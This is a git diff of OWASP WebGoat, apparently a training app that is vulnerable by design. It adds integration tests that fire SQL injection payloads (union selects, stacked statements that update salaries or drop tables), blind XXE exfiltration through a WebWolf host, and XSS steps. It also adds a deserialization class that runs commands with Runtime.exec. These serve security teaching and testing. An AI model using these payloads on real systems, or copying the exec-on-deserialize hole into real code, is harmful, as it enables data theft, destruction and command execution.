b/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java new file mode 100644 index 000000000..ad641212b --- /dev/null +++ b/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java @@ -0,0 +1,47 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat; + +import java.util.Map; + +import org.junit.jupiter.api.Test; + +/** + * + * @author Angel Olle Blazquez + * + */ + +class SessionManagementIT extends IntegrationTest { + + private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login"; + + + @Test + void hijackSessionTest() { + startLesson("HijackSession"); + + checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false); + } +} diff --git a/src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java b/src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java new file mode 100644 index 000000000..6ae9f838b --- /dev/null +++ b/src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.jupiter.api.Test; + +public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest { + + @Test + public void runTests() { + startLesson("SqlInjectionAdvanced"); + + Map params = new HashMap<>(); + params.clear(); + params.put("username_reg", "tom' AND substring(password,1,1)='t"); + params.put("password_reg", "password"); + params.put("email_reg", "someone@microsoft.com"); + params.put("confirm_password", "password"); + checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true); + + params.clear(); + params.put("username_login", "tom"); + params.put("password_login", "thisisasecretfortomonly"); + checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true); + + params.clear(); + params.put("userid_6a", "'; SELECT * FROM user_system_data;--"); + checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true); + + params.clear(); + params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --"); + checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true); + + params.clear(); + params.put("userid_6b", "passW0rD"); + checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true); + + params.clear(); + params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement"); + params.put("question_1_solution", "Solution 3: ?"); + params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way."); + params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data."); + params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'."); + checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true); + + checkResults("/SqlInjectionAdvanced/"); + } +} diff --git a/src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java b/src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java new file mode 100644 index 000000000..6c8c446af --- /dev/null +++ b/src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java @@ -0,0 +1,78 @@ +package org.owasp.webgoat; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.jupiter.api.Test; + +public class SqlInjectionLessonIntegrationTest extends IntegrationTest { + + public static final String sql_2 = "select department from employees where last_name='Franco'"; + public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'"; + public static final String sql_4_drop = "alter table employees drop column phone"; + public static final String sql_4_add = "alter table employees add column phone varchar(20)"; + public static final String sql_5 = "grant select on grant_rights to unauthorized_user"; + public static final String sql_9_account = " ' "; + public static final String sql_9_operator = "or"; + public static final String sql_9_injection = "'1'='1"; + public static final String sql_10_login_count = "2"; + public static final String sql_10_userid = "1 or 1=1"; + + public static final String sql_11_a = "Smith' or '1' = '1"; + public static final String sql_11_b = "3SL99A' or '1'='1"; + + public static final String sql_12_a = "Smith"; + public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith"; + + public static final String sql_13 = "%update% '; drop table access_log ; --'"; + + @Test + public void runTests() { + startLesson("SqlInjection"); + + Map params = new HashMap<>(); + params.clear(); + params.put("query", sql_2); + checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true); + + params.clear(); + params.put("query", sql_3); + checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true); + + params.clear(); + params.put("query", sql_4_add); + checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true); + + params.clear(); + params.put("query", sql_5); + checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true); + + params.clear(); + params.put("operator", sql_9_operator); + params.put("account", sql_9_account); + params.put("injection", sql_9_injection); + checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true); + + params.clear(); + params.put("login_count", sql_10_login_count); + params.put("userid", sql_10_userid); + checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true); + + params.clear(); + params.put("name", sql_11_a); + params.put("auth_tan", sql_11_b); + checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true); + + params.clear(); + params.put("name", sql_12_a); + params.put("auth_tan", sql_12_b); + checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true); + + params.clear(); + params.put("action_string", sql_13); + checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true); + + checkResults("/SqlInjection/"); + + } +} diff --git a/src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java b/src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java new file mode 100644 index 000000000..6d9394674 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java @@ -0,0 +1,70 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.jupiter.api.Test; + +import static org.hamcrest.CoreMatchers.containsString; + +public class SqlInjectionMitigationIntegrationTest extends IntegrationTest { + + @Test + public void runTests() { + startLesson("SqlInjectionMitigations"); + + Map params = new HashMap<>(); + params.clear(); + params.put("field1", "getConnection"); + params.put("field2", "PreparedStatement prep"); + params.put("field3", "prepareStatement"); + params.put("field4", "?"); + params.put("field5", "?"); + params.put("field6", "prep.setString(1,\"\")"); + params.put("field7", "prep.setString(2,\\\"\\\")"); + checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true); + + params.put("editor", "try {\r\n" + + " Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" + + " PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" + + " prep.setString(1,\"me\");\r\n" + + " prep.execute();\r\n" + + " System.out.println(conn); //should output 'null'\r\n" + + "} catch (Exception e) {\r\n" + + " System.out.println(\"Oops. Something went wrong!\");\r\n" + + "}"); + checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true); + + params.clear(); + params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--"); + checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true); + + params.clear(); + params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--"); + checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true); + + RestAssured.given() + .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)")) + .then() + .statusCode(200); + + RestAssured.given() + .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown")) + .then() + .statusCode(500) + .body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by")); + + params.clear(); + params.put("ip", "104.130.219.202"); + checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true); + + checkResults(); + } +} diff --git a/src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java b/src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java new file mode 100644 index 000000000..041f5157f --- /dev/null +++ b/src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java @@ -0,0 +1,72 @@ +package org.owasp.webgoat; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + +import org.junit.jupiter.api.Test; + +import io.restassured.RestAssured; + +public class WebWolfIntegrationTest extends IntegrationTest { + + @Test + public void runTests() throws IOException { + startLesson("WebWolfIntroduction"); + + //Assignment 3 + Map params = new HashMap<>(); + params.clear(); + params.put("email", this.getUser()+"@webgoat.org"); + checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false); + + String responseBody = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/WebWolf/mail")) + .then() + .extract().response().getBody().asString(); + + String uniqueCode = responseBody.replace("%20", " "); + uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length())); + params.clear(); + params.put("uniqueCode", uniqueCode); + checkAssignment(url("/WebGoat/WebWolf/mail"), params, true); + + //Assignment 4 + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .queryParams(params) + .get(url("/WebGoat/WebWolf/landing/password-reset")) + .then() + .statusCode(200); + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .queryParams(params) + .get(webWolfUrl("/landing")) + .then() + .statusCode(200); + responseBody = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/WebWolf/requests")) + .then() + .extract().response().getBody().asString(); + assertTrue(responseBody.contains(uniqueCode)); + params.clear(); + params.put("uniqueCode", uniqueCode); + checkAssignment(url("/WebGoat/WebWolf/landing"), params, true); + + checkResults("/WebWolf"); + + } + +} diff --git a/src/it/java/org/owasp/webgoat/XSSIntegrationTest.java b/src/it/java/org/owasp/webgoat/XSSIntegrationTest.java new file mode 100644 index 000000000..adae15d2c --- /dev/null +++ b/src/it/java/org/owasp/webgoat/XSSIntegrationTest.java @@ -0,0 +1,68 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.jupiter.api.Test; + +public class XSSIntegrationTest extends IntegrationTest { + + + @Test + public void crossSiteScriptingAssignments() { + startLesson("CrossSiteScripting"); + + Map params = new HashMap<>(); + params.clear(); + params.put("checkboxAttack1", "value"); + checkAssignment(url("/CrossSiteScripting/attack1"), params, true); + + params.clear(); + params.put("QTY1", "1"); + params.put("QTY2", "1"); + params.put("QTY3", "1"); + params.put("QTY4", "1"); + params.put("field1", ""); + params.put("field2", "111"); + checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true); + + params.clear(); + params.put("DOMTestRoute", "start.mvc#test"); + checkAssignment(url("/CrossSiteScripting/attack6a"), params, true); + + params.clear(); + params.put("param1", "42"); + params.put("param2", "24"); + + String result = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("webgoat-requested-by", "dom-xss-vuln") + .header("X-Requested-With", "XMLHttpRequest") + .formParams(params) + .post(url("/CrossSiteScripting/phone-home-xss")) + .then() + .statusCode(200) + .extract().path("output"); + String secretNumber = result.substring("phoneHome Response is ".length()); + + params.clear(); + params.put("successMessage", secretNumber); + checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true); + + params.clear(); + params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious."); + params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content."); + params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server."); + params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request."); + params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes."); + checkAssignment(url("/CrossSiteScripting/quiz"), params, true); + + checkResults("/CrossSiteScripting/"); + + } +} diff --git a/src/it/java/org/owasp/webgoat/XXEIntegrationTest.java b/src/it/java/org/owasp/webgoat/XXEIntegrationTest.java new file mode 100644 index 000000000..e7c2a5497 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/XXEIntegrationTest.java @@ -0,0 +1,99 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import org.junit.jupiter.api.Test; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; + +public class XXEIntegrationTest extends IntegrationTest { + + private static final String xxe3 = """ + ]>&xxe;test"""; + private static final String xxe4 = """ + ]>&xxe;test"""; + private static final String dtd7 = """ + ">%all;"""; + private static final String xxe7 = """ + %remote;]>test&send;"""; + + private String webGoatHomeDirectory; + private String webWolfFileServerLocation; + + /* + * This test is to verify that all is secure when XXE security patch is applied. + */ + @Test + public void xxeSecure() throws IOException { + startLesson("XXE"); + webGoatHomeDirectory = webGoatServerDirectory(); + webWolfFileServerLocation = getWebWolfFileServerLocation(); + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/enable-security.mvc")) + .then() + .statusCode(200); + checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false); + checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false); + checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "" + getSecret() + "", false); + } + + /** + * This performs the steps of the exercise before the secret can be committed in the final step. + * + * @return + * @throws IOException + */ + private String getSecret() throws IOException { + //remove any left over DTD + Path webWolfFilePath = Paths.get(webWolfFileServerLocation); + if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) { + Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd"))); + } + String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt"); + String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile); + + //upload DTD + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .multiPart("file", "blind.dtd", dtd7String.getBytes()) + .post(webWolfUrl("/fileupload")) + .then() + .extract().response().getBody().asString(); + //upload attack + String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser()); + checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false); + + //read results from WebWolf + String result = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/WebWolf/requests")) + .then() + .extract().response().getBody().asString(); + result = result.replace("%20", " "); + if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) { + result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33); + } + return result; + } + + @Test + public void runTests() throws IOException { + startLesson("XXE", true); + webGoatHomeDirectory = webGoatServerDirectory(); + webWolfFileServerLocation = getWebWolfFileServerLocation(); + checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true); + checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true); + checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "" + getSecret() + "", true); + checkResults("xxe/"); + } +} diff --git a/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java b/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java new file mode 100644 index 000000000..98c37a64e --- /dev/null +++ b/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java @@ -0,0 +1,76 @@ +package org.dummy.insecure.framework; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.ObjectInputStream; +import java.io.Serializable; +import java.time.LocalDateTime; +import lombok.extern.slf4j.Slf4j; + +@Slf4j +// TODO move back to lesson +public class VulnerableTaskHolder implements Serializable { + + private static final long serialVersionUID = 2; + + private String taskName; + private String taskAction; + private LocalDateTime requestedExecutionTime; + + public VulnerableTaskHolder(String taskName, String taskAction) { + super(); + this.taskName = taskName; + this.taskAction = taskAction; + this.requestedExecutionTime = LocalDateTime.now(); + } + + @Override + public String toString() { + return "VulnerableTaskHolder [taskName=" + + taskName + + ", taskAction=" + + taskAction + + ", requestedExecutionTime=" + + requestedExecutionTime + + "]"; + } + + /** + * Execute a task when de-serializing a saved or received object. + * + * @author stupid develop + */ + private void readObject(ObjectInputStream stream) throws Exception { + // unserialize data so taskName and taskAction are available + stream.defaultReadObject(); + + // do something with the data + log.info("restoring task: {}", taskName); + log.info("restoring time: {}", requestedExecutionTime); + + if (requestedExecutionTime != null + && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10)) + || requestedExecutionTime.isAfter(LocalDateTime.now()))) { + // do nothing is the time is not within 10 minutes after the object has been created + log.debug(this.toString()); + throw new IllegalArgumentException("outdated"); + } + + // condition is here to prevent you from destroying the goat altogether + if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping")) + && taskAction.length() < 22) { + log.info("about to execute: {}", taskAction); + try { + Process p = Runtime.getRuntime().exec(taskAction); + BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line = null; + while ((line = in.readLine()) != null) { + log.info(line); + } + } catch (IOException e) { + log.error("IO Exception", e); + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java b/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java new file mode 100644 index 000000000..1ed96e146 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java @@ -0,0 +1,59 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container; + +import java.io.IOException; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.core.AuthenticationException; +import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint; + +/** + * AjaxAuthenticationEntryPoint class. + * + * @author zupzup + */ +public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint { + public AjaxAuthenticationEntryPoint(String loginFormUrl) { + super(loginFormUrl); + } + + @Override + public void commence( + HttpServletRequest request, + HttpServletResponse response, + AuthenticationException authException) + throws IOException, ServletException { + if (request.getHeader("x-requested-with") != null) { + response.sendError(401, authException.getMessage()); + } else { + super.commence(request, response, authException); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java b/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java new file mode 100644 index 000000000..723e8cb7c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java @@ -0,0 +1,172 @@ +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since December 12, 2015 + */ +package org.owasp.webgoat.container; + +import static org.asciidoctor.Asciidoctor.Factory.create; + +import io.undertow.util.Headers; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.StringWriter; +import java.util.HashMap; +import java.util.Locale; +import java.util.Map; +import java.util.Set; +import javax.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.asciidoctor.Asciidoctor; +import org.asciidoctor.extension.JavaExtensionRegistry; +import org.owasp.webgoat.container.asciidoc.*; +import org.owasp.webgoat.container.i18n.Language; +import org.springframework.core.io.ResourceLoader; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; +import org.springframework.web.servlet.i18n.SessionLocaleResolver; +import org.thymeleaf.IEngineConfiguration; +import org.thymeleaf.templateresolver.FileTemplateResolver; +import org.thymeleaf.templateresource.ITemplateResource; +import org.thymeleaf.templateresource.StringTemplateResource; + +/** + * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file: + * + *

+ *

+ * + */ +@Slf4j +public class AsciiDoctorTemplateResolver extends FileTemplateResolver { + + private static final Asciidoctor asciidoctor = create(); + private static final String PREFIX = "doc:"; + + private final Language language; + private final ResourceLoader resourceLoader; + + public AsciiDoctorTemplateResolver(Language language, ResourceLoader resourceLoader) { + this.resourceLoader = resourceLoader; + this.language = language; + setResolvablePatterns(Set.of(PREFIX + "*")); + } + + @Override + protected ITemplateResource computeTemplateResource( + IEngineConfiguration configuration, + String ownerTemplate, + String template, + String resourceName, + String characterEncoding, + Map templateResolutionAttributes) { + var templateName = resourceName.substring(PREFIX.length()); + log.debug("template used: {}", templateName); + try (InputStream is = getInputStream(templateName)) { + JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry(); + extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class); + extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class); + extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class); + extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class); + extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class); + extensionRegistry.inlineMacro("username", UsernameMacro.class); + + StringWriter writer = new StringWriter(); + asciidoctor.convert(new InputStreamReader(is), writer, createAttributes()); + return new StringTemplateResource(writer.getBuffer().toString()); + } catch (IOException e) { + return new StringTemplateResource( + "
Unable to find documentation for: " + templateName + "
"); + } + } + + private InputStream getInputStream(String templateName) throws IOException { + log.debug("locale: {}", language.getLocale().getLanguage()); + String computedResourceName = + computeResourceName(templateName, language.getLocale().getLanguage()); + if (resourceLoader + .getResource("classpath:/" + computedResourceName) + .isReadable() /*isFile()*/) { + log.debug("localized file exists"); + return resourceLoader.getResource("classpath:/" + computedResourceName).getInputStream(); + } else { + log.debug("using english template"); + return resourceLoader.getResource("classpath:/" + templateName).getInputStream(); + } + } + + private String computeResourceName(String resourceName, String language) { + String computedResourceName; + if (language.equals("en")) { + computedResourceName = resourceName; + } else { + computedResourceName = resourceName.replace(".adoc", "_".concat(language).concat(".adoc")); + } + log.debug("computed local file name: {}", computedResourceName); + log.debug( + "file exists: {}", + resourceLoader.getResource("classpath:/" + computedResourceName).isReadable()); + return computedResourceName; + } + + private Map createAttributes() { + Map attributes = new HashMap<>(); + attributes.put("source-highlighter", "coderay"); + attributes.put("backend", "xhtml"); + attributes.put("lang", determineLanguage()); + attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS); + + Map options = new HashMap<>(); + options.put("attributes", attributes); + + return options; + } + + private String determineLanguage() { + HttpServletRequest request = + ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); + + Locale browserLocale = + (Locale) + request.getSession().getAttribute(SessionLocaleResolver.LOCALE_SESSION_ATTRIBUTE_NAME); + if (null != browserLocale) { + log.debug("browser locale {}", browserLocale); + return browserLocale.getLanguage(); + } else { + String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING); + if (null != langHeader) { + log.debug("browser locale {}", langHeader); + return langHeader.substring(0, 2); + } else { + log.debug("browser default english"); + return "en"; + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java b/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java new file mode 100644 index 000000000..ef54ff007 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java @@ -0,0 +1,67 @@ +package org.owasp.webgoat.container; + +import java.util.Map; +import java.util.function.Function; +import javax.sql.DataSource; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.flywaydb.core.Flyway; +import org.owasp.webgoat.container.lessons.LessonScanner; +import org.owasp.webgoat.container.service.RestartLessonService; +import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; +import org.springframework.jdbc.datasource.DriverManagerDataSource; + +@Configuration +@RequiredArgsConstructor +@Slf4j +public class DatabaseConfiguration { + + private final DataSourceProperties properties; + private final LessonScanner lessonScanner; + + @Bean + @Primary + public DataSource dataSource() { + DriverManagerDataSource dataSource = new DriverManagerDataSource(); + dataSource.setDriverClassName(properties.getDriverClassName()); + dataSource.setUrl(properties.getUrl()); + dataSource.setUsername(properties.getUsername()); + dataSource.setPassword(properties.getPassword()); + return dataSource; + } + + /** + * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users + * and 1 for lesson specific tables we use. This way we clean the data in the lesson database + * quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson + * related tables. + */ + @Bean(initMethod = "migrate") + public Flyway flyWayContainer() { + return Flyway.configure() + .configuration(Map.of("driver", properties.getDriverClassName())) + .dataSource(dataSource()) + .schemas("container") + .locations("db/container") + .load(); + } + + @Bean + public Function flywayLessons(LessonDataSource lessonDataSource) { + return schema -> + Flyway.configure() + .configuration(Map.of("driver", properties.getDriverClassName())) + .schemas(schema) + .dataSource(lessonDataSource) + .locations("lessons") + .load(); + } + + @Bean + public LessonDataSource lessonDataSource() { + return new LessonDataSource(dataSource()); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/HammerHead.java b/src/main/java/org/owasp/webgoat/container/HammerHead.java new file mode 100644 index 000000000..04fd73ce5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/HammerHead.java @@ -0,0 +1,56 @@ +package org.owasp.webgoat.container; + +import lombok.AllArgsConstructor; +import org.owasp.webgoat.container.session.Course; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.servlet.ModelAndView; + +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

